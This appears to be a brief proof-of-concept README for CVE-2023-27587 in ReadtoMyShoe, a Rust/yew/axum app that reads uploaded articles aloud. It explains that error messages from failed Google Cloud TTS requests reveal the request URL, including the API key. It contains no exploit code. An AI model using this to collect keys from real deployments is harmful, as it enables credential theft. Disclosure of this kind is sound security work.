The simple PoC of CVE-2023-27587
ReadtoMyShoe (RTMS) is a web application (rust, yew and axum) that lets you upload articles (via URL or via directly pasting) and listen to them later.
If an error occurs when adding an article, the website shows the user an error message. If the error originates from the Google Cloud TTS request, then it will include the full URL of the request. The request URL contains the Google Cloud API key.
